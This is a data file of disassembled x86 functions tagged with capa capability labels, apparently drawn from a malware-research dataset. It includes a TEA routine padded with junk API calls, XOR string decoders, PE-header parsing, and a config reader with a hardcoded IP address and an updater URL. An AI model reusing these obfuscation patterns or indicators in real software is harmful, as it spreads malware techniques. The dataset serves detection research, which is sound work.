joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41eb1c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ecx
mov word [ebp - 2], dx
xor eax, eax
push ebp
push 0x5ae0cb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404cd0
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x41eb57
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x41eb70
lea eax, [ebp - 0x10]
mov edx, dword [0x5c6258]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
call fcn.00404d30
jmp 0x41eb83
lea eax, [ebp - 0x10]
mov edx, dword [0x5c6258]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
call fcn.00404d30
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x41eb8f
adc edx, 0
mov edx, dword [edx*4 + 0x5c50e8]
call fcn.00404f20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404f04
push eax
call fcn.00406b1c
mov esi, eax
cmp esi, 0xffffffff
je 0x41ec9d
mov eax, 0x40
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x40
push edi
push esi
call fcn.00406d6c
test eax, eax
je 0x41ec90
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x41ec90
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406dcc
mov eax, edi
call fcn.00403288
mov eax, 0x18
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x18
push edi
push esi
call fcn.00406d6c
test eax, eax
je 0x41ec90
mov eax, edi
cmp dword [eax], 0x4550
jne 0x41ec90
add eax, 4
mov dx, word [eax]
cmp dx, 0x14c
jb 0x41ec90
cmp dx, 0x150
ja 0x41ec90
mov eax, edi
call fcn.00403288
mov eax, 0xe0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0xe0
push edi
push esi
call fcn.00406d6c
test eax, eax
je 0x41ec90
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 2]
jne 0x41ec90
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 8]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
mov eax, edi
call fcn.00403288
push esi
call fcn.00406ad4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.0040502c
jne 0x41ecb5
inc ebx
cmp ebx, 0x19
jne 0x41eb49
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5ae0d2
lea eax, [ebp - 0x10]
call fcn.00404cd0
ret
Function at 0x401250
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
cmp dword [0x8bd660], 0x594
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 8], eax
jne 0x401291
push 0
lea ecx, [ebp - 0x424]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
push str.nivaxosiwawarejasu
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
mov eax, dword [0x49e3ac]
mov edx, dword [0x49e3a8]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x1c], edx
call fcn.00401240
mov ebx, dword [ebp - 0xc]
mov ecx, dword [0x49e3b0]
mov edx, dword [0x49e3b4]
add ebx, 0x23f
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x14], 0x20
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov ecx, dword [0x8bd660]
mov eax, edi
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x401323
push 0
lea eax, [ebp - 0x824]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_RequestDeviceWakeup]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
mov eax, dword [ebp - 4]
mov ecx, dword [0x8bd660]
add eax, dword [ebp - 0x18]
mov dword [ebp - 4], eax
cmp ecx, 0xfa9
jne 0x40133d
mov dword [0x8bcbfc], 0xedeb2e40
jmp 0x40134f
cmp ecx, 0x3eb
jne 0x40134f
mov dword [0x8bc5b0], 0
lea ecx, [ebx + edi]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0xc]
mov edx, edi
shr edx, cl
mov dword [0x8bcbf8], 0xf4ea3dee
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
mov edx, dword [ebp - 8]
shl edx, 4
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
mov esi, ecx
shr esi, 5
add esi, dword [ebp - 0x20]
lea eax, [ebx + ecx]
xor dword [ebp - 4], eax
cmp dword [0x8bd660], 0x121
jne 0x4013c1
push str.samexoze
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 4]
xor eax, esi
sub edi, eax
add ebx, 0x61c88647
sub dword [ebp - 0x14], 1
mov dword [ebp - 4], eax
jne 0x4012d3
cmp dword [0x8bd660], 0xa6d
mov esi, dword [ebp + 8]
mov dword [esi], edi
jne 0x401405
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov eax, dword [ebp - 8]
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40384b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x49d158]
jne 0x403855
repz ret
jmp fcn.004094cc

Function at 0x4096b8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004047ca
and dword [ebp - 4], 0
cmp dword [0x49f30c], 0
mov ebx, eax
jne 0x409769
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40981a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40981a
push eax
call fcn.00404758
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x49f30c], eax
call esi
push eax
call fcn.00404758
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x49f310], eax
call esi
push eax
call fcn.00404758
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x49f314], eax
call esi
push eax
call fcn.00404758
pop ecx
mov dword [0x49f31c], eax
test eax, eax
je 0x409769
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404758
pop ecx
mov dword [0x49f318], eax
mov eax, dword [0x49f318]
cmp eax, ebx
je 0x4097c1
cmp dword [0x49f31c], ebx
je 0x4097c1
push eax
call fcn.004047d3
push dword [0x49f31c]
mov esi, eax
call fcn.004047d3
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4097c1
test edi, edi
je 0x4097c1
call esi
test eax, eax
je 0x4097b8
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4097b8
test byte [ebp - 0xc], 1
jne 0x4097c1
or dword [ebp + 0x10], 0x200000
jmp 0x4097fa
mov eax, dword [0x49f310]
cmp eax, ebx
je 0x4097fa
push eax
call fcn.004047d3
pop ecx
test eax, eax
je 0x4097fa
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4097fa
mov eax, dword [0x49f314]
cmp eax, ebx
je 0x4097fa
push eax
call fcn.004047d3
pop ecx
test eax, eax
je 0x4097fa
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x49f30c]
call fcn.004047d3
pop ecx
test eax, eax
je 0x40981a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40981c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404f00
Capabilities:
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4442f9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x514
push ebx
push ebp
push esi
push edi
mov ebp, ecx
or esi, 0xffffffff
mov dword [esp + 0x14], ebp
mov dword [ebp + 4], esi
xor ebx, ebx
mov dword [ebp], 0x447520
mov dword [esp + 0x52c], ebx
mov dword [ebp + 0x20], esi
push ebx
push ebx
push ebx
push ebx
push 1
push ebx
lea ecx, [ebp + 0x28]
mov byte [esp + 0x544], 1
call fcn.0043f078
mov dword [ebp + 0x60], esi
push ebx
push ebx
push 1
push ebx
mov byte [ebp + 0x40], bl
mov byte [ebp + 0x41], bl
mov byte [ebp + 0x25], bl
mov dword [ebp + 0x3c], ebx
mov dword [ebp + 0x50], ebx
mov dword [ebp + 0x54], ebx
mov dword [ebp + 0x58], ebx
mov dword [ebp + 0x10], ebx
mov dword [ebp + 0x14], ebx
mov dword [ebp + 0x18], ebx
mov dword [ebp + 0x1c], ebx
mov byte [ebp + 0x866], bl
mov dword [ebp + 0xc], ebx
mov byte [ebp + 0x864], bl
mov byte [ebp + 0x865], bl
mov byte [ebp + 0x24], bl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp + 0x20], eax
push str..CONFIG.ini
mov byte [ebp + 0x874], bl
mov ecx, 7
mov esi, str.91.121.82.164
mov edi, 0x45b9c0
rep movsd dword es:[edi], dword [esi]
xor eax, eax
push 0x104
mov ecx, 0x41
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x20]
push eax
push 0x447078
push str.TEST_IP
push str.LOGIN
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x4050db
mov edi, str.GERMANY
lea esi, [esp + 0x18]
mov ecx, 8
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x405035
mov edi, str.FRANCE
lea esi, [esp + 0x18]
mov ecx, 7
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x405035
mov edi, str.POLAND
lea esi, [esp + 0x18]
mov ecx, 7
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x4050db
push 0x44741c
push str.UpdaterURL.txt
call fcn.00420efc
mov esi, eax
add esp, 8
cmp esi, ebx
jne 0x405065
push ebx
push str.Error
push str.Cant_Find_UpdaterURL.txt
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
push ebx
call fcn.00420ceb
xor eax, eax
mov ecx, 0x80
lea edi, [esp + 0x120]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x120]
push eax
push 0x4470bc
push esi
call fcn.00420f0f
lea eax, [esp + 0x12c]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x405095
sub eax, edx
cmp eax, 1
jae 0x4050bb
push ebx
push str.Error
push str.Cant_Read_UpdaterURL.txt
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
push ebx
call fcn.00420ceb
xor eax, eax
lea ecx, [ecx]
mov cl, byte [esp + eax + 0x120]
mov byte [eax + 0x45b9c0], cl
inc eax
cmp cl, bl
jne 0x4050c0
push esi
call fcn.00420e4f
add esp, 4
mov ecx, dword [esp + 0x524]
pop edi
mov eax, ebp
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401df0
Capabilities:
Hash data using fnv

Disassembly:
movsx eax, dl
xor eax, ecx
imul eax, eax, 0x1000193
ret

Function at 0x401ecd
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x35
mov eax, ecx
pop ebp
div ebp
add dl, 0x32
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0xb
jl 0x401edb
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x401efc
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x35
mov eax, ecx
pop ebp
div ebp
add dl, 0x32
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x1c
jl 0x401f0a
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x401f2b
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x35
mov eax, ecx
pop ebp
div ebp
add dl, 0x32
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x12
jl 0x401f39
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x401f5a
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x35
mov eax, ecx
pop ebp
div ebp
add dl, 0x32
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x1b
jl 0x401f68
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x401f89
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x35
mov eax, ecx
pop ebp
div ebp
add dl, 0x32
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0xe
jl 0x401f97
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x401fb8
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x35
mov eax, ecx
pop ebp
div ebp
add dl, 0x32
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x11
jl 0x401fc6
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x401fe7
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x35
mov eax, ecx
pop ebp
div ebp
add dl, 0x32
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x1d
jl 0x401ff5
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x40279f
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x14
jl 0x4027ad
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x4027ce
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x19
jl 0x4027dc
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x4027fd
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x1e
jl 0x40280b
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x40282c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x10
jl 0x40283a
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x40285b
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x22
jl 0x402869
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x40288a
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x13
jl 0x402898
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x4028b9
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x17
jl 0x4028c7
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x4028e8
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x12
jl 0x4028f6
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x402917
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x1c
jl 0x402925
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x402946
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x20
jl 0x402954
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x402975
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x1a
jl 0x402983
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x4029a4
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x35
jl 0x4029b2
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x4029d3
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x16
jl 0x4029e1
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x402a02
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x11
jl 0x402a10
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x402a31
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x1b
jl 0x402a3f
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x402a60
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x18
jl 0x402a6e
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x402a8f
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x27
jl 0x402a9d
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x402abe
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0xc
jl 0x402acc
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x402aed
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0xd
jl 0x402afb
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x402b1c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 5
jl 0x402b2a
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x402b4b
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 8
jl 0x402b59
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x402bb6
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 9
jl 0x402bc4
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x402be5
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 7
jl 0x402bf3
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x402c14
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0xa
jl 0x402c22
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x402c43
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x37
mov eax, ecx
pop ebp
div ebp
add dl, 0x31
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0xb
jl 0x402c51
pop edi
pop esi
pop ebp
pop ebx
ret 4